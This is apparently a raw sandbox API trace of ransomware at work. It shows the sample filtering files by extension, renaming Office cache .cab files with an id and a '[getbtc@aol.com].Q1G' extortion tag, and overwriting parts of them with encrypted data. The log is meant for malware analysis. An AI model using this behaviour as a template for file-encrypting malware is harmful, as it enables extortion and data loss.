lstrlenW (lpString=".doc") returned 4 [0049.807] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString=".docx") returned 5 [0049.807] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.807] lstrlenW (lpString=".pdf") returned 4 [0049.807] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString=".xls") returned 4 [0049.807] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString=".xlsx") returned 5 [0049.807] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.807] lstrlenW (lpString=".ppt") returned 4 [0049.807] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString=".zip") returned 4 [0049.807] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString=".rar") returned 4 [0049.807] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString=".bz2") returned 4 [0049.807] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.807] lstrlenW (lpString=".7z") returned 3 [0049.807] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString=".dbf") returned 4 [0049.807] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString=".1cd") returned 4 [0049.808] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.808] lstrlenW (lpString=".jpg") returned 4 [0049.808] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.808] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0049.808] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0049.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.840] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=36233052) returned 1 [0050.840] CloseHandle (hObject=0x19c) returned 1 [0050.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0050.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.840] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0050.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.841] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.841] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.841] ReadFile (in: hFile=0x19c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.846] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.846] ReadFile (in: hFile=0x19c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.849] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.849] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.849] ReadFile (in: hFile=0x19c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.863] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.863] WriteFile (in: hFile=0x19c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0050.880] SetEndOfFile (hFile=0x19c) returned 1 [0050.880] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fd5708 [0050.884] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.884] WriteFile (in: hFile=0x19c, lpBuffer=0x3fd5708*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5708*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.884] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.884] WriteFile (in: hFile=0x19c, lpBuffer=0x3fd5708*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5708*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.885] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.885] WriteFile (in: hFile=0x19c, lpBuffer=0x3fd5708*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5708*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.015] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5708 | out: hHeap=0x510000) returned 1 [0051.015] CloseHandle (hObject=0x19c) returned 1 [0051.015] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0051.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.015] lstrlenW (lpString=".doc") returned 4 [0051.015] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.015] lstrlenW (lpString=".docx") returned 5 [0051.015] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.015] lstrlenW (lpString=".pdf") returned 4 [0051.015] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".xls") returned 4 [0051.016] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".xlsx") returned 5 [0051.016] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.016] lstrlenW (lpString=".ppt") returned 4 [0051.016] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString=".zip") returned 4 [0051.016] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".rar") returned 4 [0051.016] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".bz2") returned 4 [0051.016] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.016] lstrlenW (lpString=".7z") returned 3 [0051.016] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString=".dbf") returned 4 [0051.016] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString=".1cd") returned 4 [0051.016] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString=".jpg") returned 4 [0051.016] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.016] lstrlenW (lpString=".doc") returned 4 [0051.016] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".docx") returned 5 [0051.016] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0051.016] lstrlenW (lpString=".pdf") returned 4 [0051.016] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".xls") returned 4 [0051.016] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0051.016] lstrlenW (lpString=".xlsx") returned 5 [0051.017] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0051.017] lstrlenW (lpString=".ppt") returned 4 [0051.017] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0051.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.017] lstrlenW (lpString=".zip") returned 4 [0051.017] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0051.017] lstrlenW (lpString=".rar") returned 4 [0051.017] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0051.017] lstrlenW (lpString=".bz2") returned 4 [0051.017] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0051.017] lstrlenW (lpString=".7z") returned 3 [0051.017] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0051.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.017] lstrlenW (lpString=".dbf") returned 4 [0051.017] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0051.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.017] lstrlenW (lpString=".1cd") returned 4 [0051.017] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0051.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0051.017] lstrlenW (lpString=".jpg") returned 4 [0051.017] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0051.017] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0051.017] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0051.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0051.018] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=162970271) returned 1 [0051.018] CloseHandle (hObject=0x19c) returned 1 [0051.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0051.018] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.018] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0051.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0051.018] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.018] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.018] ReadFile (in: hFile=0x19c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.220] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.220] ReadFile (in: hFile=0x19c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.226] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.226] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.226] ReadFile (in: hFile=0x19c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.446] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.446] WriteFile (in: hFile=0x19c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.057] SetEndOfFile (hFile=0x19c) returned 1 [0052.057] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0052.230] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.230] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.231] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.231] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.234] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.234] WriteFile (in: hFile=0x19c, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.236] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0052.236] CloseHandle (hObject=0x19c) returned 1 [0052.236] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString=".doc") returned 4 [0052.237] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString=".docx") returned 5 [0052.237] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.237] lstrlenW (lpString=".pdf") returned 4 [0052.237] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString=".xls") returned 4 [0052.237] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString=".xlsx") returned 5 [0052.237] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.237] lstrlenW (lpString=".ppt") returned 4 [0052.237] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString=".zip") returned 4 [0052.237] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString=".rar") returned 4 [0052.237] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString=".bz2") returned 4 [0052.237] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.237] lstrlenW (lpString=".7z") returned 3 [0052.237] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString=".dbf") returned 4 [0052.237] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString=".1cd") returned 4 [0052.237] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.237] lstrlenW (lpString=".jpg") returned 4 [0052.237] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString=".doc") returned 4 [0052.238] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString=".docx") returned 5 [0052.238] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.238] lstrlenW (lpString=".pdf") returned 4 [0052.238] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString=".xls") returned 4 [0052.238] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString=".xlsx") returned 5 [0052.238] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.238] lstrlenW (lpString=".ppt") returned 4 [0052.238] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString=".zip") returned 4 [0052.238] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString=".rar") returned 4 [0052.238] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString=".bz2") returned 4 [0052.238] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.238] lstrlenW (lpString=".7z") returned 3 [0052.238] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString=".dbf") returned 4 [0052.238] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString=".1cd") returned 4 [0052.238] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0052.238] lstrlenW (lpString=".jpg") returned 4 [0052.238] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.238] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0052.239] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0052.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.239] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=36233052) returned 1 [0052.239] CloseHandle (hObject=0x19c) returned 1 [0052.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0052.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.239] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0052.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.240] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.240] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.240] ReadFile (in: hFile=0x19c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, 